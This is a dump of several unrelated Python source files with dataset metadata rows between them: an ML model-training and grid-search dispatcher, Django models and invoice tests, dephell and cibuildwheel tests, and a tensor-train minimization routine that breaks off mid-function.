if train_mode == 'train_single_model':
model_arg = {'train_args': train_args,
'cv_args': cv_args, 'use_multi_group': use_multi_group, 'mode': train_mode}
elif train_mode == 'auto_grid_search':
model_arg = {'train_args': train_args,
'cv_args': cv_args, 'use_multi_group': use_multi_group, 'mode': train_mode}
elif train_mode == 'auto_train_boost_round':
model_arg = {'train_args': train_args,
'cv_args': cv_args, 'use_multi_group': use_multi_group, 'mode': train_mode}
elif train_mode == 'auto_train':
model_arg = {'train_args': train_args,
'cv_args': cv_args, 'use_multi_group': use_multi_group, 'mode': train_mode}
else:
raise ValueError('Wrong Training Mode!')
if model_name in ['lr', 'rf', 'et', 'ab', 'gb', 'xgb', 'xgb_sk',
'lgb', 'lgb_sk', 'cb', 'dnn', 'stack_lgb']:
SM = SingleModel(**model_arg)
train_functions = {'lr': SM.lr_train,
'rf': SM.rf_train,
'et': SM.et_train,
'ab': SM.ab_train,
'gb': SM.gb_train,
'xgb': SM.xgb_train,
'xgb_sk': SM.xgb_train_sklearn,
'lgb': SM.lgb_train,
'lgb_sk': SM.lgb_train_sklearn,
'cb': SM.cb_train,
'stack_lgb': SM.stack_lgb_train}
return train_functions[model_name]
elif model_name == 'christar':
CM = ChampionModel(**model_arg)
return CM.Christar1991
else:
raise ValueError('Wrong Model Name!')
def train_single_model(self, model_name, train_seed, cv_seed, num_boost_round=None, epochs=None,
auto_idx=None, base_parameters=None,
train_args=None, cv_args=None, use_multi_group=False):
"""
Training Single Model
"""
# Get Train Function
train_function = self.get_train_function('train_single_model', model_name, train_args=train_args,
cv_args=cv_args, use_multi_group=use_multi_group)
# Training Model
if model_name == 'stack_lgb':
train_function(train_seed, cv_seed, auto_idx=auto_idx, num_boost_round=num_boost_round)
else:
if num_boost_round is not None:
train_function(train_seed, cv_seed, parameters=base_parameters, num_boost_round=num_boost_round)
elif epochs is not None:
train_function(train_seed, cv_seed, parameters=base_parameters, epochs=epochs)
else:
train_function(train_seed, cv_seed, parameters=base_parameters)
def auto_grid_search(self, model_name=None, full_grid_search=False, train_seed_list=None,
cv_seed_list=None, parameter_grid_list=None,
save_final_pred=False, n_epoch=1, base_parameters=None, train_args=None,
cv_args=None, num_boost_round=None, use_multi_group=False):
"""
Automatically Grid Searching
"""
if train_seed_list is None:
train_seed_list = utils.random_int_list(0, 1000, n_epoch)
elif len(train_seed_list) == 1:
if cv_seed_list is not None:
n_epoch = len(cv_seed_list)
train_seed_list = [train_seed_list[0] for _ in range(n_epoch)]
else:
n_epoch = len(train_seed_list)
if cv_seed_list is None:
cv_seed_list = utils.random_int_list(0, 1000, n_epoch)
elif len(cv_seed_list) == 1:
if train_seed_list is not None:
n_epoch = len(train_seed_list)
cv_seed_list = [cv_seed_list[0] for _ in range(n_epoch)]
else:
n_epoch = len(cv_seed_list)
# Get Train Function
train_args['save_final_pred'] = save_final_pred
train_function = self.get_train_function('auto_grid_search', model_name, train_args=train_args,
cv_args=cv_args, use_multi_group=use_multi_group)
for parameter_grid in parameter_grid_list:
gs_start_time = time.time()
print('======================================================')
print('Auto Grid Searching Parameter...')
if full_grid_search:
n_param = len(parameter_grid)
n_value = 1
param_name = []
for i in range(n_param):
param_name.append(parameter_grid[i][0])
n_value *= len(parameter_grid[i][1])
param_value = np.zeros((n_param, n_value)).tolist()
global value_list
global value_col
value_list = []
value_col = 0
def generate_value_matrix_(idx_param):
idx_param_next = idx_param + 1
for value in parameter_grid[idx_param][1]:
global value_list
value_list.append(value)
if idx_param_next < n_param:
generate_value_matrix_(idx_param_next)
else:
global value_col
for i_row, row in enumerate(param_value):
row[value_col] = value_list[i_row]
value_col += 1
value_list.pop()
generate_value_matrix_(0)
else:
n_param = len(parameter_grid)
n_value = len(parameter_grid[0][1])
param_name = []
param_value = []
for i in range(n_param):
if len(parameter_grid[i][1]) != n_value:
raise ValueError('The number of value of parameters should be the same as each other!')
param_name.append(parameter_grid[i][0])
param_value.append(parameter_grid[i][1])
for i_param_value in range(n_value):
param_start_time = time.time()
grid_search_tuple_list = []
param_info = ''
for i_param in range(n_param):
param_name_i = param_name[i_param]
param_value_i = param_value[i_param][i_param_value]
param_info += ' ' + utils.get_simple_param_name(param_name_i) + '-' + str(param_value_i)
grid_search_tuple_list.append((param_name_i, param_value_i))
for i, (train_seed, cv_seed) in enumerate(zip(train_seed_list, cv_seed_list)):
epoch_start_time = time.time()
train_args['csv_idx'] = 'idx-' + str(i+1)
print('======================================================')
print('Parameter:' + param_info)
print('------------------------------------------------------')
print('Epoch: {}/{} | train_seed: {} | cv_seed: {}'.format(i + 1, n_epoch, train_seed, cv_seed))
# Training Model
if num_boost_round is not None:
train_function(train_seed, cv_seed, parameters=base_parameters,
grid_search_tuple_list=grid_search_tuple_list, num_boost_round=num_boost_round)
else:
train_function(train_seed, cv_seed, parameters=base_parameters,
grid_search_tuple_list=grid_search_tuple_list)
print('======================================================')
print('Auto Training Epoch Done!')
print('Train Seed: {}'.format(train_seed))
print('Cross Validation Seed: {}'.format(cv_seed))
print('Epoch Time: {}s'.format(time.time() - epoch_start_time))
print('======================================================')
print('One Parameter Done!')
print('Parameter Time: {}s'.format(time.time() - param_start_time))
print('======================================================')
print('All Parameter Done!')
print('Grid Searching Time: {}s'.format(time.time() - gs_start_time))
def auto_train_boost_round(self, model_name=None, full_grid_search=False, train_seed_list=None, cv_seed_list=None,
n_epoch=1, num_boost_round=None, epochs=None, parameter_grid_list=None,
save_final_pred=False, base_parameters=None,
train_args=None, cv_args=None, use_multi_group=False):
"""
Automatically Training by Boost Round or Epoch
"""
if train_seed_list is None:
train_seed_list = utils.random_int_list(0, 1000, n_epoch)
elif len(train_seed_list) == 1:
if cv_seed_list is not None:
n_epoch = len(cv_seed_list)
train_seed_list = [train_seed_list[0] for _ in range(n_epoch)]
else:
n_epoch = len(train_seed_list)
if cv_seed_list is None:
cv_seed_list = utils.random_int_list(0, 1000, n_epoch)
elif len(cv_seed_list) == 1:
if train_seed_list is not None:
n_epoch = len(train_seed_list)
cv_seed_list = [cv_seed_list[0] for _ in range(n_epoch)]
else:
n_epoch = len(cv_seed_list)
# Get Train Function
train_args['save_final_pred'] = save_final_pred
train_function = self.get_train_function(
'auto_train_boost_round', model_name,
train_args=train_args, cv_args=cv_args,
use_multi_group=use_multi_group)
for parameter_grid in parameter_grid_list:
gs_start_time = time.time()
print('======================================================')
print('Auto Train by Boost Round...')
if full_grid_search:
n_param = len(parameter_grid)
n_value = 1
param_name = []
for i in range(n_param):
param_name.append(parameter_grid[i][0])
n_value *= len(parameter_grid[i][1])
param_value = np.zeros((n_param, n_value)).tolist()
global value_list
global value_col
value_list = []
value_col = 0
def generate_value_matrix_(idx_param):
idx_param_next = idx_param + 1
for value in parameter_grid[idx_param][1]:
global value_list
value_list.append(value)
if idx_param_next < n_param:
generate_value_matrix_(idx_param_next)
else:
global value_col
for i_row, row in enumerate(param_value):
row[value_col] = value_list[i_row]
value_col += 1
value_list.pop()
generate_value_matrix_(0)
else:
n_param = len(parameter_grid)
n_value = len(parameter_grid[0][1])
param_name = []
param_value = []
for i in range(n_param):
if len(parameter_grid[i][1]) != n_value:
raise ValueError('The number of value of parameters should be the same as each other!')
param_name.append(parameter_grid[i][0])
param_value.append(parameter_grid[i][1])
for i_param_value in range(n_value):
param_start_time = time.time()
grid_search_tuple_list = []
param_info = ''
for i_param in range(n_param):
param_name_i = param_name[i_param]
param_value_i = param_value[i_param][i_param_value]
param_info += ' ' + utils.get_simple_param_name(param_name_i) + '-' + str(param_value_i)
grid_search_tuple_list.append((param_name_i, param_value_i))
for i, (train_seed, cv_seed) in enumerate(zip(train_seed_list, cv_seed_list)):
epoch_start_time = time.time()
train_args['csv_idx'] = 'idx-' + str(i+1)
print('======================================================')
print('Parameter:' + param_info)
print('------------------------------------------------------')
print('Epoch: {}/{} | train_seed: {} | cv_seed: {}'.format(i+1, n_epoch, train_seed, cv_seed))
# Training Model
if num_boost_round is not None:
train_function(train_seed, cv_seed, parameters=base_parameters,
grid_search_tuple_list=grid_search_tuple_list, num_boost_round=num_boost_round)
elif epochs is not None:
train_function(train_seed, cv_seed, parameters=base_parameters,
grid_search_tuple_list=grid_search_tuple_list, epochs=epochs)
else:
train_function(train_seed, cv_seed, parameters=base_parameters,
grid_search_tuple_list=grid_search_tuple_list)
print('======================================================')
print('Auto Training Epoch Done!')
print('Train Seed: {}'.format(train_seed))
print('Cross Validation Seed: {}'.format(cv_seed))
print('Epoch Time: {}s'.format(time.time() - epoch_start_time))
print('======================================================')
print('One Parameter Done!')
print('Parameter Time: {}s'.format(time.time() - param_start_time))
print('======================================================')
print('All Parameter Done!')
print('Grid Searching Time: {}s'.format(time.time() - gs_start_time))
def auto_train(self, model_name=None, n_epoch=1, stack_final_epochs=None,
base_parameters=None, train_args=None, cv_args=None, use_multi_group=False):
"""
Automatically training a model for many times
"""
# Get Train Function
train_function = \
self.get_train_function('auto_train', model_name, train_args=train_args,
cv_args=cv_args, use_multi_group=use_multi_group)
for i in range(n_epoch):
train_seed = random.randint(0, 1000)
cv_seed = random.randint(0, 1000)
train_args['csv_idx'] = 'idx-' + str(i+1)
epoch_start_time = time.time()
print('======================================================')
print('Auto Training Epoch {}/{}...'.format(i+1, n_epoch))
if model_name == 'stack_t':
train_function(train_seed, cv_seed)
train_function_s = \
self.get_train_function('auto_train', 'stack_lgb', train_args=train_args,
cv_args=cv_args, use_multi_group=use_multi_group)
for ii in range(stack_final_epochs):
t_seed = random.randint(0, 1000)
c_seed = random.randint(0, 1000)
train_args['idx'] = 'auto_{}_epoch_{}'.format(i+1, ii+1)
train_function_s(t_seed, c_seed, auto_idx=i+1, parameters=base_parameters)
else:
train_function(train_seed, cv_seed, parameters=base_parameters)
print('======================================================')
print('Auto Training Epoch Done!')
print('Train Seed: {}'.format(train_seed))
print('Cross Validation Seed: {}'.format(cv_seed))
print('Epoch Time: {}s'.format(time.time() - epoch_start_time))
print('======================================================')
| 46.77686
| 118
| 0.505477
| 1,873
| 16,980
| 4.205019
| 0.072611
| 0.051422
| 0.037963
| 0.034281
| 0.865922
| 0.85259
| 0.831006
| 0.816531
| 0.811833
| 0.783773
| 0
| 0.0083
| 0.361366
| 16,980
| 362
| 119
| 46.906077
| 0.718001
| 0.015607
| 0
| 0.75265
| 0
| 0
| 0.124096
| 0.051446
| 0
| 0
| 0
| 0
| 0
| 1
| 0.028269
| false
| 0.003534
| 0.007067
| 0
| 0.045936
| 0.14841
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5816a05591eb4b1737cfb3a3248c391fa9cc6977
| 2,721
|
py
|
Python
|
test_task/clients/models.py
|
opqx/PythonDevTest
|
aec05b1cd3d92e496160efe87a03ae44360f6c83
|
[
"MIT"
] | null | null | null |
test_task/clients/models.py
|
opqx/PythonDevTest
|
aec05b1cd3d92e496160efe87a03ae44360f6c83
|
[
"MIT"
] | null | null | null |
test_task/clients/models.py
|
opqx/PythonDevTest
|
aec05b1cd3d92e496160efe87a03ae44360f6c83
|
[
"MIT"
] | null | null | null |
from django.db import models
from django.urls import reverse
class Companies(models.Model):
company = models.CharField(max_length=200, unique=True)
created = models.DateTimeField(auto_now_add=True)
updated = models.DateTimeField(auto_now=True)
def __str__(self):
return self.company
class Contact(models.Model):
company = models.ForeignKey(Companies, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField(max_length=200)
email = models.CharField(max_length=200)
phone = models.CharField(max_length=200)
interest = models.CharField(max_length=200)
created = models.DateTimeField(auto_now_add=True)
updated = models.DateTimeField(auto_now=True)
def __str__(self):
return self.name
def get_absolute_url(self):
return reverse('update', kwargs={'pk': self.pk})
class Country(models.Model):
company = models.ForeignKey(Companies, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField("Country", max_length=50)
def __str__(self):
return self.name
class Region(models.Model):
company = models.ForeignKey(Companies, on_delete=models.CASCADE, blank=True, null=True)
country = models.ForeignKey(Country, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField("Region", max_length=50)
def __str__(self):
return self.name
class City(models.Model):
company = models.ForeignKey(Companies, on_delete=models.CASCADE, blank=True, null=True)
region = models.ForeignKey(Region, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField("City", max_length=50)
def __str__(self):
return self.name
class Street(models.Model):
company = models.ForeignKey(Companies, on_delete=models.CASCADE, blank=True, null=True)
city = models.ForeignKey(City, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField("Street", max_length=50)
def __str__(self):
return self.name
class Building(models.Model):
company = models.ForeignKey(Companies, on_delete=models.CASCADE, blank=True, null=True)
street = models.ForeignKey(Street, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField("Building", max_length=50)
def __str__(self):
return self.name
class Office(models.Model):
company = models.ForeignKey(Companies, on_delete=models.CASCADE, blank=True, null=True)
building = models.ForeignKey(Building, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField("Office", max_length=50)
def __str__(self):
return self.name
| 31.275862
| 91
| 0.702315
| 346
| 2,721
| 5.34104
| 0.147399
| 0.103896
| 0.090909
| 0.136364
| 0.780844
| 0.715909
| 0.713745
| 0.713745
| 0.713745
| 0.694805
| 0
| 0.012168
| 0.184491
| 2,721
| 86
| 92
| 31.639535
| 0.82064
| 0
| 0
| 0.472727
| 0
| 0
| 0.016544
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.163636
| false
| 0
| 0.036364
| 0.163636
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
582ac081bf72f92db0f4e449205f01e6b400eb85
| 4,990
|
py
|
Python
|
tests/unit/clients/organization_tests.py
|
Abdur-rahmaanJ/django-accounting
|
4ec094544873843722db964ea9283a7947c4ba32
|
[
"MIT"
] | 127
|
2017-12-05T19:13:42.000Z
|
2022-03-18T08:55:05.000Z
|
tests/unit/clients/organization_tests.py
|
Abdur-rahmaanJ/django-accounting
|
4ec094544873843722db964ea9283a7947c4ba32
|
[
"MIT"
] | 5
|
2017-12-02T11:49:59.000Z
|
2022-03-31T19:07:38.000Z
|
tests/unit/clients/organization_tests.py
|
Abdur-rahmaanJ/django-accounting
|
4ec094544873843722db964ea9283a7947c4ba32
|
[
"MIT"
] | 65
|
2017-12-08T10:49:05.000Z
|
2022-01-12T15:18:13.000Z
|
from decimal import Decimal as D
from django.test import TestCase
from django_dynamic_fixture import G
from accounting.apps.books.models import Organization, Invoice, Bill
class TestOrganizationCalcultation(TestCase):
def setUp(self):
self.organization = G(Organization)
def tearDown(self):
pass
def test_turnover_excl_tax_is_valid(self):
invoice1 = G(Invoice,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
invoice2 = G(Invoice,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
self.organization.invoices.add(invoice1)
self.organization.invoices.add(invoice2)
self.assertEqual(self.organization.turnover_excl_tax,
D('10.00') + D('30.00'))
def test_turnover_incl_tax_is_valid(self):
invoice1 = G(Invoice,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
invoice2 = G(Invoice,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
self.organization.invoices.add(invoice1)
self.organization.invoices.add(invoice2)
self.assertEqual(self.organization.turnover_incl_tax,
D('12.00') + D('40.00'))
def test_debts_excl_tax_is_valid(self):
bill1 = G(Bill,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
bill2 = G(Bill,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
self.organization.bills.add(bill1)
self.organization.bills.add(bill2)
self.assertEqual(self.organization.debts_excl_tax,
D('10.00') + D('30.00'))
def test_debts_incl_tax_is_valid(self):
bill1 = G(Bill,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
bill2 = G(Bill,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
self.organization.bills.add(bill1)
self.organization.bills.add(bill2)
self.assertEqual(self.organization.debts_incl_tax,
D('12.00') + D('40.00'))
def test_profits_is_valid(self):
invoice1 = G(Invoice,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
invoice2 = G(Invoice,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
bill1 = G(Bill,
number=101,
total_excl_tax=D('15.00'),
total_incl_tax=D('18.00'))
self.organization.invoices.add(invoice1)
self.organization.invoices.add(invoice2)
self.organization.bills.add(bill1)
self.assertEqual(self.organization.profits,
D('10.00') + D('30.00') - D('15.00'))
def test_collected_tax_is_valid(self):
invoice1 = G(Invoice,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
invoice2 = G(Invoice,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
bill1 = G(Bill,
number=101,
total_excl_tax=D('15.00'),
total_incl_tax=D('18.00'))
self.organization.invoices.add(invoice1)
self.organization.invoices.add(invoice2)
self.organization.bills.add(bill1)
self.assertEqual(self.organization.collected_tax,
D('2.00') + D('10.00'))
def test_deductible_tax_is_valid(self):
invoice1 = G(Invoice,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
invoice2 = G(Invoice,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
bill1 = G(Bill,
number=101,
total_excl_tax=D('15.00'),
total_incl_tax=D('18.00'))
self.organization.invoices.add(invoice1)
self.organization.invoices.add(invoice2)
self.organization.bills.add(bill1)
self.assertEqual(self.organization.deductible_tax,
D('3.00'))
def test_tax_provisionning_is_valid(self):
invoice1 = G(Invoice,
number=101,
total_excl_tax=D('10.00'),
total_incl_tax=D('12.00'))
invoice2 = G(Invoice,
number=102,
total_excl_tax=D('30.00'),
total_incl_tax=D('40.00'))
bill1 = G(Bill,
number=101,
total_excl_tax=D('15.00'),
total_incl_tax=D('18.00'))
self.organization.invoices.add(invoice1)
self.organization.invoices.add(invoice2)
self.organization.bills.add(bill1)
self.assertEqual(self.organization.tax_provisionning,
D('2.00') + D('10.00') - D('3.00'))
| 33.489933
| 68
| 0.567936
| 641
| 4,990
| 4.221529
| 0.088924
| 0.067997
| 0.065041
| 0.096083
| 0.851441
| 0.845528
| 0.835181
| 0.835181
| 0.835181
| 0.835181
| 0
| 0.092598
| 0.298798
| 4,990
| 148
| 69
| 33.716216
| 0.680766
| 0
| 0
| 0.781955
| 0
| 0
| 0.056313
| 0
| 0
| 0
| 0
| 0
| 0.06015
| 1
| 0.075188
| false
| 0.007519
| 0.030075
| 0
| 0.112782
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
58449a9d6aa9c05deb40f76e01e6e596db7e8f49
| 1,656
|
py
|
Python
|
tests/test_commands/test_generate_config.py
|
OliverHofkens/dephell
|
6303f416018910668f1635b70cd828a2fd2b2d9e
|
[
"MIT"
] | 1,880
|
2019-03-21T10:08:25.000Z
|
2022-03-31T12:41:55.000Z
|
tests/test_commands/test_generate_config.py
|
rachmadaniHaryono/dephell
|
0ef500c8f2d5f05244bac191b1b1383f68464cd2
|
[
"MIT"
] | 356
|
2019-03-21T19:08:56.000Z
|
2021-01-08T17:45:43.000Z
|
tests/test_commands/test_generate_config.py
|
rachmadaniHaryono/dephell
|
0ef500c8f2d5f05244bac191b1b1383f68464cd2
|
[
"MIT"
] | 157
|
2019-04-23T01:13:37.000Z
|
2022-03-24T22:41:18.000Z
|
# built-in
from pathlib import Path
# external
import tomlkit
# project
from dephell.commands import GenerateConfigCommand
def test_create(temp_path: Path):
config = temp_path / 'pyproject.toml'
task = GenerateConfigCommand(
argv=['--config', str(config), '--project', str(temp_path)],
)
result = task()
assert result is True
assert config.exists()
assert config.is_file()
content = config.read_text()
parsed = tomlkit.parse(content)
assert '[tool.dephell.example]' in content
assert 'from = {format = "pip"' in content
parsed = parsed['tool']['dephell']['example']
assert parsed['from']['format'] == 'pip'
assert parsed['from']['path'] == 'requirements.in'
assert parsed['to']['format'] == 'piplock'
assert parsed['to']['path'] == 'requirements.lock'
def test_detect(temp_path: Path):
(temp_path / 'requirements.in').write_text('Django>=1.9\n')
(temp_path / 'requirements.txt').write_text('Django>=1.9\n')
config = temp_path / 'pyproject.toml'
task = GenerateConfigCommand(
argv=['--config', str(config), '--project', str(temp_path)],
)
result = task()
assert result is True
assert config.exists()
assert config.is_file()
content = config.read_text()
parsed = tomlkit.parse(content)
assert '[tool.dephell.pip]' in content
assert 'from = {format = "pip"' in content
parsed = parsed['tool']['dephell']['pip']
assert parsed['from']['format'] == 'pip'
assert parsed['from']['path'] == 'requirements.in'
assert parsed['to']['format'] == 'piplock'
assert parsed['to']['path'] == 'requirements.txt'
| 29.571429
| 68
| 0.640097
| 197
| 1,656
| 5.299492
| 0.243655
| 0.061303
| 0.049808
| 0.054598
| 0.785441
| 0.785441
| 0.750958
| 0.750958
| 0.750958
| 0.750958
| 0
| 0.002978
| 0.18901
| 1,656
| 55
| 69
| 30.109091
| 0.774386
| 0.015097
| 0
| 0.634146
| 1
| 0
| 0.234788
| 0.013522
| 0
| 0
| 0
| 0
| 0.439024
| 1
| 0.04878
| false
| 0
| 0.073171
| 0
| 0.121951
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54973573a198be5dc7913e3be9ed354fabe3e88d
| 1,273
|
py
|
Python
|
test/02_test/cibuildwheel_test.py
|
GjjvdBurg/cibuildwheel
|
5f416b194a488b79aaab7a696e23ab6958f99932
|
[
"BSD-2-Clause"
] | null | null | null |
test/02_test/cibuildwheel_test.py
|
GjjvdBurg/cibuildwheel
|
5f416b194a488b79aaab7a696e23ab6958f99932
|
[
"BSD-2-Clause"
] | null | null | null |
test/02_test/cibuildwheel_test.py
|
GjjvdBurg/cibuildwheel
|
5f416b194a488b79aaab7a696e23ab6958f99932
|
[
"BSD-2-Clause"
] | null | null | null |
import os
import utils
def test():
project_dir = os.path.dirname(__file__)
# build and test the wheels
utils.cibuildwheel_run(project_dir, add_env={
'CIBW_TEST_REQUIRES': 'nose',
# the 'false ||' bit is to ensure this command runs in a shell on
# mac/linux.
'CIBW_TEST_COMMAND': 'false || nosetests {project}/test',
'CIBW_TEST_COMMAND_WINDOWS': 'nosetests {project}/test',
})
# also check that we got the right wheels
expected_wheels = utils.expected_wheels('spam', '0.1.0')
actual_wheels = os.listdir('wheelhouse')
assert set(actual_wheels) == set(expected_wheels)
def test_extras_require():
project_dir = os.path.dirname(__file__)
# build and test the wheels
utils.cibuildwheel_run(project_dir, add_env={
'CIBW_TEST_EXTRAS': 'test',
# the 'false ||' bit is to ensure this command runs in a shell on
# mac/linux.
'CIBW_TEST_COMMAND': 'false || nosetests {project}/test',
'CIBW_TEST_COMMAND_WINDOWS': 'nosetests {project}/test',
})
# also check that we got the right wheels
expected_wheels = utils.expected_wheels('spam', '0.1.0')
actual_wheels = os.listdir('wheelhouse')
assert set(actual_wheels) == set(expected_wheels)
| 33.5
| 73
| 0.666143
| 170
| 1,273
| 4.741176
| 0.317647
| 0.059553
| 0.074442
| 0.039702
| 0.915633
| 0.915633
| 0.915633
| 0.915633
| 0.915633
| 0.915633
| 0
| 0.006024
| 0.217596
| 1,273
| 37
| 74
| 34.405405
| 0.803213
| 0.220738
| 0
| 0.727273
| 0
| 0
| 0.282808
| 0.050865
| 0
| 0
| 0
| 0
| 0.090909
| 1
| 0.090909
| false
| 0
| 0.090909
| 0
| 0.181818
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
549f1f05dd06b5fee003257c2bb94c7975003688
| 9,885
|
py
|
Python
|
tt/optimize/tt_min.py
|
rballester/ttpy
|
a2fdf08fae9d34cb1e5ba28482e82e04b249911b
|
[
"MIT"
] | null | null | null |
tt/optimize/tt_min.py
|
rballester/ttpy
|
a2fdf08fae9d34cb1e5ba28482e82e04b249911b
|
[
"MIT"
] | null | null | null |
tt/optimize/tt_min.py
|
rballester/ttpy
|
a2fdf08fae9d34cb1e5ba28482e82e04b249911b
|
[
"MIT"
] | 1
|
2021-01-10T07:02:09.000Z
|
2021-01-10T07:02:09.000Z
|
"""This module contains a prototype implementation of the
TT-cross-based minimization procedure
"""
import numpy as np
import math
import tt
from ..maxvol import maxvol
from ..utils.rect_maxvol import rect_maxvol
def reshape(a, sz):
return np.reshape(a, sz, order='F')
def mkron(a, b):
return np.kron(a, b)
def mysvd(a, full_matrices=False):
try:
return np.linalg.svd(a, full_matrices)
except:
return np.linalg.svd(a + np.max(np.abs(a).flatten()) * 1e-14 *
np.random.randn(a.shape[0], a.shape[1]), full_matrices)
def min_func(fun, bounds_min, bounds_max, d=None, rmax=10,
n0=64, nswp=10, verb=True, smooth_fun=None):
"""Find (approximate) minimal value of the function on a d-dimensional grid."""
if d is None:
d = len(bounds_min)
a = np.asanyarray(bounds_min).copy()
b = np.asanyarray(bounds_max).copy()
else:
a = np.ones(d) * bounds_min
b = np.ones(d) * bounds_max
if smooth_fun is None:
smooth_fun = lambda p, lam: (math.pi / 2 - np.arctan(p - lam))
#smooth_fun = lambda p, lam: np.exp(-10*(p - lam))
# We do not need to store the cores, only the interfaces!
Rx = [[]] * (d + 1) # Python list for the interfaces
Rx[0] = np.ones((1, 1))
Rx[d] = np.ones((1, 1))
Jy = [np.empty(0, dtype=np.int)] * (d + 1)
ry = rmax * np.ones(d + 1, dtype=np.int)
ry[0] = 1
ry[d] = 1
n = n0 * np.ones(d, dtype=np.int)
fun_evals = 0
grid = [np.reshape(np.linspace(a[i], b[i], n[i]), (n[i], 1))
for i in xrange(d)]
for i in xrange(d - 1):
#cr1 = y[i]
ry[i + 1] = min(ry[i + 1], n[i] * ry[i])
cr1 = np.random.randn(ry[i], n[i], ry[i + 1])
cr1 = reshape(cr1, (ry[i] * n[i], ry[i + 1]))
q, r = np.linalg.qr(cr1)
ind = maxvol(q)
w1 = mkron(np.ones((n[i], 1), dtype=np.int), Jy[i])
w2 = mkron(grid[i], np.ones((ry[i], 1), dtype=np.int))
Jy[i + 1] = np.hstack((w1, w2))
Jy[i + 1] = reshape(Jy[i + 1], (ry[i] * n[i], -1))
Jy[i + 1] = Jy[i + 1][ind, :]
# Jy{i+1} = [kron(ones(n(i),1), Jy{i}), kron((1:n(i))', ones(ry(i),1))];
# Jy{i+1} = Jy{i+1}(ind,:);
swp = 0
dirn = -1
i = d - 1
lm = float('Inf')
while swp < nswp:
# Right-to-left sweep
# The idea: compute the current core; compute the function of it;
# Shift locally or globally? Local shift would be the first try
# Compute the current core
if np.size(Jy[i]) == 0:
w1 = np.zeros((ry[i] * n[i] * ry[i + 1], 0), dtype=np.int)
else:
w1 = mkron(np.ones((n[i] * ry[i + 1], 1), dtype=np.int), Jy[i])
w2 = mkron(mkron(np.ones((ry[i + 1], 1), dtype=np.int),
grid[i]), np.ones((ry[i], 1), dtype=np.int))
if np.size(Jy[i + 1]) == 0:
w3 = np.zeros((ry[i] * n[i] * ry[i + 1], 0), dtype=np.int)
else:
w3 = mkron(Jy[i + 1], np.ones((ry[i] * n[i], 1), dtype=np.int))
J = np.hstack((w1, w2, w3))
# Just add some random indices to J, which is rnr x d, need to make rn (r + r0) x add,
# i.e., just generate random r, random n and random multiindex
cry = fun(J)
fun_evals += cry.size
cry = reshape(cry, (ry[i], n[i], ry[i + 1]))
min_cur = np.min(cry.flatten("F"))
ind_cur = np.argmin(cry.flatten("F"))
if lm > min_cur:
lm = min_cur
x_full = J[ind_cur, :]
val = fun(x_full)
if verb:
print 'New record:', val, 'Point:', x_full, 'fevals:', fun_evals
cry = smooth_fun(cry, lm)
if (dirn < 0 and i > 0):
cry = reshape(cry, (ry[i], n[i] * ry[i + 1]))
cry = cry.T
#q, r = np.linalg.qr(cry)
u, s, v = mysvd(cry, full_matrices=False)
ry[i] = min(ry[i], rmax)
q = u[:, :ry[i]]
ind = rect_maxvol(q)[0] # maxvol(q)
ry[i] = ind.size
w1 = mkron(np.ones((ry[i + 1], 1), dtype=np.int), grid[i])
if np.size(Jy[i + 1]) == 0:
w2 = np.zeros((n[i] * ry[i + 1], 0), dtype=np.int)
else:
w2 = mkron(Jy[i + 1], np.ones((n[i], 1), dtype=np.int))
Jy[i] = np.hstack((w1, w2))
Jy[i] = reshape(Jy[i], (n[i] * ry[i + 1], -1))
Jy[i] = Jy[i][ind, :]
if (dirn > 0 and i < d - 1):
cry = reshape(cry, (ry[i] * n[i], ry[i + 1]))
q, r = np.linalg.qr(cry)
